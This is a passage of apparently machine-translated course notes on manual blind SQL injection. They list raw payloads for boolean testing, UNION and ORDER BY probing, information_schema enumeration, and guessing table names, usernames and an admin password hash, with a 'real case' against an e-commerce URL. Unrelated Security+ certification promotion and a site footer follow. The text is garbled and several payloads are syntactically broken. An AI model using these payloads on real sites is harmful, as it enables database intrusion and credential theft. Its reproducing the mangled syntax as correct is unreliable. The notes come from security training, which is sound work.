"Safe Cow Learning Note" Manual vulnerability mining-sql Blind

Source: Internet
Author: User
Tags ord

Manual vulnerability Mining-----SQL Blinds

Do not display database built-in error messages

Built-in error messages help developers identify and fix problems

Error messages provide a lot of useful information about the system

When the programmer hides the error message in the database and replaces it with a generic bug, SQL injection will

Can not judge the result of injection statement according to the error message, that is, blind

Idea: Since can not be based on error information to judge the results, based on the different results of logic and authenticity to judge

1 ' and 1=1--+

1 ' and 1=2--+

SELECT * FROM table_name where id= ' 1 ' by 2--';

Lesson 91 Manual Vulnerability Mining-SQL Blind

1 ' ORDER by 5--+

1 ' ORDER by 3--+

1 ' Union Select 1,2--+

1 ' Union Select NULL,CONCAT_WS (CHAR (32,58.32), User (), database (), version ())--+

1 ' and 1=0 Union select Null,table_name from information_schema,table#

1 ' and 1=0 Union select Null,table_name from Information_schema,columns where table_name= ' user ' #

Manual vulnerability Mining-----SQL injection

Do not have permission to read INFORMATION_SCHEMA Library/Reject union, by-clause

Guess list: 1 ' and column not null--+

Burp Suite Auto Guess column name

Guess the current table table name: 1 ' and table user not null--+

Guess the other tables in the library: 1 ' and (select COUNT (*) from table) >0--+

List correspondence: 1 ' and User.user not null--+

Guess field content: 1 ' and user= ' admin

1 ' or user like '%a%

Guess the password for the account:

2 ' or user= ' admin ' and password= ' 5f4dcc3b5aa765d61d8327dev832cf99

Burpsuit Automated guessing content

Manual vulnerability Mining-----SQL injection Blind

Open a brain hole.

Real case: An e-commerce website

Http://1.1.1.1/goods.php?cnt=1&goodsid=123

and 1=1--+ display a pack of tissue paper

And 1=2--+ shows a bag of washing powder

1 ' and ORD (MID ((VERSION ()), &1>0--))

Current_User (), DATABASE ()

MID (Columnname,start[,length])

ORD (String) #ASCII码

This note is for safe Cattle class student notes, want to see this course or information security of dry goods can go to safe cattle classes


security+ Certification Why is the Internet + era of the most popular certification?

Manifesto first introduce you to security+


        security+ certification is a neutral third-party certification, the licensing Agency for the United States Computer Industry Association CompTIA, is and CISSP, ITIL and other co-included in the international IT industry, one of 10 popular certification, and Ciss P security+ Authentication is more emphasis on information security technology and operation than information security management.

This certification demonstrates your ability to network security, compliance and operational security, threats and vulnerabilities, application, data and Host security, access control and identity management, and encryption technology. Because of its difficult examination difficulty, the gold content is high, has been widely adopted by global enterprises and security professionals.

Why is security+ certification so hot?

        Reason one: In all information security certification, the emphasis on information security technology certification is blank,  security+ certification can make up for the gap in the field of information security technology.

      currently recognized in the industry of information security certification mainly Cisp and CISSP, but whether cisp or CISSP are emphasis on information security management, technical knowledge is broad and simple, the exam is around. And CISSP require a certificate of information security work experience for more than 5 years, Cisp also require a college education 4 years of working experience, these requirements will undoubtedly be able and motivated young people of the road blocked. In the real world, whether it is looking for a job or a raise, or a tender time to report personnel, certification is essential, which brings a lot of injustice to young people. The emergence of security+ can clear these young people career development obstacles, because security+ emphasis on information security technology, so there is no special requirements for work experience. As long as you have an IT-related background, the pursuit of progress can be studied and tested.

        Reason two:  it operation and maintenance personnel work and turn over the weapon.

        in the banking, securities, insurance, information and communications industries, IT operations personnel are very many, it operations involved in the face is also very wide. is a network, system, security, application architecture, storage as one integrated technology post. Although no program ape "born as a Bachelor, Die also write code," The solemn and tragic, but also has "Hoe wo Day Copse, as the operation of suffering" feeling. Every day to the computer and machine, the time has been inevitable for career development confusion and confusion. The advent of security+ international certification allows the pursuit of IT operations personnel to learn network security knowledge, to master network security practices. Career development in the direction of network security, to solve the problem of the shortage of information security personnel in China. In addition, even if not transformation, to do a good job in operation and maintenance, learning safety knowledge to obtain safety certification is also essential.

Reason three: grounding gas, international stylish, easy to test, moderate cost!

As the most influential global leader in the global ICT sector, CompTIA is professional, fair and impartial in the field of information security talent certification. Security+ certification is highly operational and closely related to the daily work of frontline engineers. Suitable for banks, securities, insurance, internet companies and other IT-related personnel learning. As an international certification in 147 countries around the world are widely recognized.

Under the current tide of information security, talent is the key to the development of information security. and the current domestic information security personnel is very scarce, I believe security+ certification will become the most popular information security certification.


"Safe Cow Learning Note" Manual vulnerability mining-sql Blind

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.